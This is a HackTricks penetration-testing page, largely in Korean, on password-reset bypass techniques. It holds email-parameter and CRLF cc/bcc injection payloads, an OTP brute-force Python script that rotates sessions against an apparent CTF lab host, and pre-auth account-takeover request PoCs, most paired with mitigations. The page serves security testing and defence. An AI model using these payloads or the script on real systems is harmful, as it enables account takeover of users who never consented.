Reset/Forgotten Password Bypass

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Password Reset Token Leak Via Referrer

  • HTTP referer header๊ฐ€ URL์— ํฌํ•จ๋œ ๊ฒฝ์šฐ ๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์„ค์ • ํ† ํฐ์ด leak๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ ๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์„ค์ •์„ ์š”์ฒญํ•œ ๋’ค ์ œ3์ž ์›น์‚ฌ์ดํŠธ ๋งํฌ๋ฅผ ํด๋ฆญํ•  ๋•Œ ์ด๋Ÿฐ ์ƒํ™ฉ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Impact: Cross-Site Request Forgery (CSRF) ๊ณต๊ฒฉ์„ ํ†ตํ•ด ๊ณ„์ • ํƒˆ์ทจ ๊ฐ€๋Šฅ์„ฑ.
  • Exploitation: ๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์„ค์ •์„ ๋ณธ์ธ ์ด๋ฉ”์ผ๋กœ ์š”์ฒญํ•˜๊ณ  ์ œ๊ณต๋œ ๋ฆฌ์…‹ ๋งํฌ๋ฅผ ํด๋ฆญํ•ฉ๋‹ˆ๋‹ค. ์ฆ‰์‹œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•˜์ง€ ๋งˆ์„ธ์š”. ๋Œ€์‹  Burp Suite๋กœ ์š”์ฒญ์„ ๊ฐ€๋กœ์ฑ„๋ฉด์„œ Facebook์ด๋‚˜ Twitter ๊ฐ™์€ ์ œ3์ž ์›น์‚ฌ์ดํŠธ๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค. ์š”์ฒญ์„ ๊ฒ€์‚ฌํ•˜์—ฌ referer header์— ๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์„ค์ • ํ† ํฐ์ด ํฌํ•จ๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ์ด๋Š” ์ œ3์ž์—๊ฒŒ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ leakํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • References:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • ๊ณต๊ฒฉ์ž๋Š” password reset ์š”์ฒญ ์ค‘ Host header๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ๋ฆฌ์…‹ ๋งํฌ๋ฅผ ์•…์„ฑ ์‚ฌ์ดํŠธ๋กœ ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Impact: ๋ฆฌ์…‹ ํ† ํฐ์ด ๊ณต๊ฒฉ์ž์—๊ฒŒ leaking๋˜์–ด ์ž ์žฌ์ ์ธ ๊ณ„์ • ํƒˆ์ทจ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Mitigation Steps:
  • Host header๋ฅผ ํ—ˆ์šฉ ๋„๋ฉ”์ธ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ์™€ ๋Œ€์กฐํ•˜์—ฌ ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค.
  • ์ ˆ๋Œ€ URL์„ ์ƒ์„ฑํ•  ๋•Œ๋Š” ์•ˆ์ „ํ•œ ์„œ๋ฒ„์‚ฌ์ด๋“œ ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • Patch: ๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์„ค์ • URL์„ ๊ตฌ์„ฑํ•  ๋•Œ $_SERVER['SERVER_NAME']์„ ์‚ฌ์šฉํ•˜๊ณ  $_SERVER['HTTP_HOST']๋Š” ์‚ฌ์šฉํ•˜์ง€ ๋งˆ์„ธ์š”.
  • References:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.

  • ๊ณต๊ฒฉ์ž๋Š” ๋ฆฌ์…‹ ๋งํฌ๋ฅผ ์šฐํšŒ์‹œํ‚ค๊ธฐ ์œ„ํ•ด ์ถ”๊ฐ€ ์ด๋ฉ”์ผ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ password reset ์š”์ฒญ์„ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๊ณต๊ฒฉ์ž ์ด๋ฉ”์ผ์„ ๋‘ ๋ฒˆ์งธ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ &๋ฅผ ์‚ฌ์šฉํ•ด ์ถ”๊ฐ€ &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • %20์„ ์‚ฌ์šฉํ•˜์—ฌ attacker email์„ ๋‘ ๋ฒˆ์งธ ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ ์ถ”๊ฐ€
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • ํŒŒ์ดํ”„(|)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์ž ์ด๋ฉ”์ผ์„ ๋‘ ๋ฒˆ์งธ ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ ์ถ”๊ฐ€
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • ๊ณต๊ฒฉ์ž ์ด๋ฉ”์ผ์„ cc๋กœ ๋‘ ๋ฒˆ์งธ ๋งค๊ฐœ๋ณ€์ˆ˜์— ์ถ”๊ฐ€
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • bcc๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์ž ์ด๋ฉ”์ผ์„ ๋‘ ๋ฒˆ์งธ ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ ์ถ”๊ฐ€
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • ๋‘ ๋ฒˆ์งธ ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ attacker email์„ ์ถ”๊ฐ€ํ•˜๋ ค๋ฉด ,๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • json ๋ฐฐ์—ด์˜ ๋‘ ๋ฒˆ์งธ ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ attacker email์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

API ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•ด ๋ชจ๋“  ์‚ฌ์šฉ์ž ์ด๋ฉ”์ผ ๋ฐ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ

  • ๊ณต๊ฒฉ์ž๋Š” API ์š”์ฒญ์˜ ์ด๋ฉ”์ผ ๋ฐ ๋น„๋ฐ€๋ฒˆํ˜ธ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ ๊ณ„์ • ์ž๊ฒฉ ์ฆ๋ช…์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
  • ์™„ํ™” ์กฐ์น˜:
  • ๋งค๊ฐœ๋ณ€์ˆ˜ ๊ฒ€์ฆ๊ณผ ์ธ์ฆ ํ™•์ธ์„ ์—„๊ฒฉํžˆ ์ˆ˜ํ–‰ํ•˜์„ธ์š”.
  • ์˜์‹ฌ์Šค๋Ÿฌ์šด ํ™œ๋™์„ ํƒ์ง€ํ•˜๊ณ  ๋Œ€์‘ํ•  ์ˆ˜ ์žˆ๋„๋ก ๊ฐ•๋ ฅํ•œ ๋กœ๊น… ๋ฐ ๋ชจ๋‹ˆํ„ฐ๋ง์„ ๊ตฌํ˜„ํ•˜์„ธ์š”.
  • ์ฐธ๊ณ ์ž๋ฃŒ:
  • Full Account Takeover via API Parameter Manipulation

No Rate Limiting: Email Bombing

  • password reset ์š”์ฒญ์— ๋Œ€ํ•ด rate limiting์ด ์—†์œผ๋ฉด email bombing์œผ๋กœ ์ด์–ด์ ธ ์‚ฌ์šฉ์ž๊ฐ€ ๋ฆฌ์…‹ ์ด๋ฉ”์ผ๋กœ ์••๋„๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Mitigation Steps:
  • IP ์ฃผ์†Œ ๋˜๋Š” ์‚ฌ์šฉ์ž ๊ณ„์ • ๊ธฐ๋ฐ˜์œผ๋กœ rate limiting์„ ๊ตฌํ˜„ํ•˜์„ธ์š”.
  • ์ž๋™ํ™”๋œ ์•…์šฉ์„ ๋ง‰๊ธฐ ์œ„ํ•ด CAPTCHA ๋„์ „์„ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • References:
  • HackerOne Report 280534

Find out How Password Reset Token is Generated

  • Token ์ƒ์„ฑ ๋ฐฉ์‹์˜ ํŒจํ„ด์ด๋‚˜ ๋ฉ”์†Œ๋“œ๋ฅผ ์ดํ•ดํ•˜๋ฉด token์„ ์˜ˆ์ธกํ•˜๊ฑฐ๋‚˜ brute-forcingํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ช‡ ๊ฐ€์ง€ ์˜ต์…˜:
  • ํƒ€์ž„์Šคํƒฌํ”„ ๊ธฐ๋ฐ˜
  • UserID ๊ธฐ๋ฐ˜
  • ์‚ฌ์šฉ์ž email ๊ธฐ๋ฐ˜
  • Firstname ๋ฐ Lastname ๊ธฐ๋ฐ˜
  • ์ƒ๋…„์›”์ผ ๊ธฐ๋ฐ˜
  • Cryptography ๊ธฐ๋ฐ˜
  • Mitigation Steps:
  • ํ† ํฐ ์ƒ์„ฑ์—๋Š” ๊ฐ•๋ ฅํ•œ cryptographic ๋ฐฉ์‹์„ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • ์˜ˆ์ธก ๊ฐ€๋Šฅ์„ฑ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์ถฉ๋ถ„ํ•œ randomness์™€ ๊ธธ์ด๋ฅผ ๋ณด์žฅํ•˜์„ธ์š”.
  • Tools: Burp Sequencer๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ† ํฐ์˜ ๋ฌด์ž‘์œ„์„ฑ์„ ๋ถ„์„ํ•˜์„ธ์š”.

Guessable UUID

  • UUIDs (version 1)์ด ์ถ”์ธก ๊ฐ€๋Šฅํ•˜๊ฑฐ๋‚˜ ์˜ˆ์ธก ๊ฐ€๋Šฅํ•˜๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ brute-forceํ•˜์—ฌ ์œ ํšจํ•œ reset tokens๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ™•์ธ:

UUID Insecurities

  • Mitigation Steps:
  • ๋ฌด์ž‘์œ„์„ฑ์„ ์œ„ํ•ด GUID version 4๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ๋ฒ„์ „์—๋Š” ์ถ”๊ฐ€ ๋ณด์•ˆ ์กฐ์น˜๋ฅผ ์ ์šฉํ•˜์„ธ์š”.
  • Tools: guidtool์„ ์‚ฌ์šฉํ•ด GUID๋ฅผ ๋ถ„์„ํ•˜๊ณ  ์ƒ์„ฑํ•˜์„ธ์š”.

Response Manipulation: Replace Bad Response With Good One

  • ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๋‚˜ ์ œํ•œ์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด HTTP ์‘๋‹ต์„ ์กฐ์ž‘ํ•˜๋Š” ๊ฒƒ.
  • Mitigation Steps:
  • ์„œ๋ฒ„ ์ธก ๊ฒ€์ฆ์„ ๊ตฌํ˜„ํ•˜์—ฌ response ๋ฌด๊ฒฐ์„ฑ์„ ๋ณด์žฅํ•˜์„ธ์š”.
  • man-in-the-middle ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด HTTPS ๊ฐ™์€ secure communication channels๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • Reference:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • ๋งŒ๋ฃŒ๋œ token์ด ์—ฌ์ „ํžˆ password reset์— ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ์ง€ ํ…Œ์ŠคํŠธํ•ฉ๋‹ˆ๋‹ค.
  • Mitigation Steps:
  • ์—„๊ฒฉํ•œ token ๋งŒ๋ฃŒ ์ •์ฑ…์„ ์ ์šฉํ•˜๊ณ  server-side์—์„œ ๋งŒ๋ฃŒ๋ฅผ ๊ฒ€์ฆํ•˜์„ธ์š”.

Brute Force Password Reset Token

  • Burpsuite์™€ IP-Rotator ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ด reset token์„ brute-force ์‹œ๋„ํ•˜์—ฌ IP ๊ธฐ๋ฐ˜ rate limits๋ฅผ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค.
  • Mitigation Steps:
  • ๊ฐ•๋ ฅํ•œ rate-limiting ๋ฐ ๊ณ„์ • ์ž ๊ธˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ๊ตฌํ˜„ํ•˜์„ธ์š”.
  • brute-force ๊ณต๊ฒฉ์„ ์‹œ์‚ฌํ•˜๋Š” ์˜์‹ฌ์Šค๋Ÿฌ์šด ํ™œ๋™์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์„ธ์š”.

Try Using Your Token

  • ๊ณต๊ฒฉ์ž์˜ reset token์ด ํ”ผํ•ด์ž์˜ email๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋Š”์ง€ ํ…Œ์ŠคํŠธํ•ฉ๋‹ˆ๋‹ค.
  • Mitigation Steps:
  • ํ† ํฐ์ด user session์ด๋‚˜ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž ๊ณ ์œ  ์†์„ฑ์— ๋ฐ”์ธ๋”ฉ๋˜๋„๋ก ํ•˜์„ธ์š”.

Session Invalidation in Logout/Password Reset

  • ์‚ฌ์šฉ์ž๊ฐ€ logoutํ•˜๊ฑฐ๋‚˜ password resetํ•  ๋•Œ ์„ธ์…˜์ด ๋ฌดํšจํ™”๋˜๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  • Mitigation Steps:
  • ์ ์ ˆํ•œ session ๊ด€๋ฆฌ๋ฅผ ๊ตฌํ˜„ํ•˜์—ฌ logout ๋˜๋Š” password reset ์‹œ ๋ชจ๋“  ์„ธ์…˜์ด ๋ฌดํšจํ™”๋˜๋„๋ก ํ•˜์„ธ์š”.

Session Invalidation in Logout/Password Reset

  • Reset tokens์—๋Š” ๋งŒ๋ฃŒ ์‹œ๊ฐ„์ด ์žˆ์–ด ๋งŒ๋ฃŒ ํ›„ ๋ฌดํšจํ™”๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • Mitigation Steps:
  • reset tokens์— ํ•ฉ๋ฆฌ์ ์ธ ๋งŒ๋ฃŒ ์‹œ๊ฐ„์„ ์„ค์ •ํ•˜๊ณ  server-side์—์„œ ์ด๋ฅผ ์—„๊ฒฉํžˆ ์ ์šฉํ•˜์„ธ์š”.

OTP rate limit bypass by changing your session

  • ์›น์‚ฌ์ดํŠธ๊ฐ€ wrong OTP ์‹œ๋„๋ฅผ ์ถ”์ ํ•˜๊ธฐ ์œ„ํ•ด user session์„ ์‚ฌ์šฉํ•˜๊ณ , OTP๊ฐ€ ์•ฝํ•œ ๊ฒฝ์šฐ(<= 4์ž๋ฆฌ) ์‹ค์ œ๋กœ OTP๋ฅผ ํšจ๊ณผ์ ์œผ๋กœ bruteforceํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์•…์šฉ ๋ฐฉ๋ฒ•:
  • ์„œ๋ฒ„์— ์˜ํ•ด ์ฐจ๋‹จ๋œ ํ›„ ์ƒˆ session token์„ ์š”์ฒญํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.
  • ์˜ˆ์‹œ: ์ด ๋ฒ„๊ทธ๋ฅผ ์•…์šฉํ•ด OTP๋ฅผ ๋ฌด์ž‘์œ„๋กœ ์ถ”์ธกํ•˜๋Š” ์ฝ”๋“œ (์„ธ์…˜์„ ๋ณ€๊ฒฝํ•˜๋ฉด OTP๋„ ๋ณ€๊ฒฝ๋˜์–ด ์ˆœ์ฐจ์ ์œผ๋กœ bruteforceํ•  ์ˆ˜ ์—†์Œ):
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

์ผ๋ถ€ ๊ตฌํ˜„์€ password-change ๋ฃจํ‹ด์„ skipOldPwdCheck=true๋กœ ํ˜ธ์ถœํ•˜๋Š” password change action์„ ๋…ธ์ถœํ•˜๊ณ , reset token์ด๋‚˜ ์†Œ์œ ๊ถŒ์„ ํ™•์ธํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ endpoint๊ฐ€ change_password ๊ฐ™์€ action ํŒŒ๋ผ๋ฏธํ„ฐ์™€ ์š”์ฒญ ๋ณธ๋ฌธ์— username/new password๋ฅผ ํ—ˆ์šฉํ•œ๋‹ค๋ฉด, ๊ณต๊ฒฉ์ž๋Š” pre-auth ์ƒํƒœ์—์„œ ์ž„์˜์˜ ๊ณ„์ •์„ resetํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ทจ์•ฝํ•œ ํŒจํ„ด (PHP):

// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Exploitation ์š”์ฒญ (๊ฐœ๋…):

POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Mitigations:

  • ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ ์ „์— ๊ณ„์ •๊ณผ ์„ธ์…˜์— ๋ฐ”์ธ๋”ฉ๋œ ์œ ํšจํ•œ ์‹œ๊ฐ„์ œํ•œ(reset) ํ† ํฐ์„ ํ•ญ์ƒ ์š”๊ตฌํ•˜์„ธ์š”.
  • skipOldPwdCheck ๊ฒฝ๋กœ๋ฅผ ๋น„์ธ์ฆ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ ˆ๋Œ€ ๋…ธ์ถœํ•˜์ง€ ๋งˆ์„ธ์š”; ์ผ๋ฐ˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ์—๋Š” ์ธ์ฆ์„ ๊ฐ•์ œํ•˜๊ณ  ๊ธฐ์กด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.
  • ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ ํ›„ ๋ชจ๋“  ํ™œ์„ฑ ์„ธ์…˜๊ณผ ๋ฆฌ์…‹ ํ† ํฐ์„ ๋ฌดํšจํ™”ํ•˜์„ธ์š”.

Registration-as-Password-Reset (Upsert on Existing Email)

์ผ๋ถ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ signup handler๋ฅผ upsert๋กœ ๊ตฌํ˜„ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฉ”์ผ์ด ์ด๋ฏธ ์กด์žฌํ•˜๋ฉด handler๋Š” ์š”์ฒญ์„ ๊ฑฐ๋ถ€ํ•˜๋Š” ๋Œ€์‹  ์‚ฌ์šฉ์ž ๋ ˆ์ฝ”๋“œ๋ฅผ ์กฐ์šฉํžˆ ์—…๋ฐ์ดํŠธํ•ฉ๋‹ˆ๋‹ค. registration endpoint๊ฐ€ ๊ธฐ์กด ์ด๋ฉ”์ผ๊ณผ ์ƒˆ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํฌํ•จํ•œ ์ตœ์†Œํ•œ์˜ JSON ๋ฐ”๋””๋ฅผ ๋ฐ›์œผ๋ฉด, ์ด๋Š” ์†Œ์œ ๊ถŒ ๊ฒ€์ฆ ์—†์ด pre-auth password reset์ด ๋˜์–ด full account takeover๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

Pre-auth ATO PoC (๊ธฐ์กด ์‚ฌ์šฉ์ž์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฎ์–ด์“ฐ๊ธฐ):

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

์ฐธ๊ณ  ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ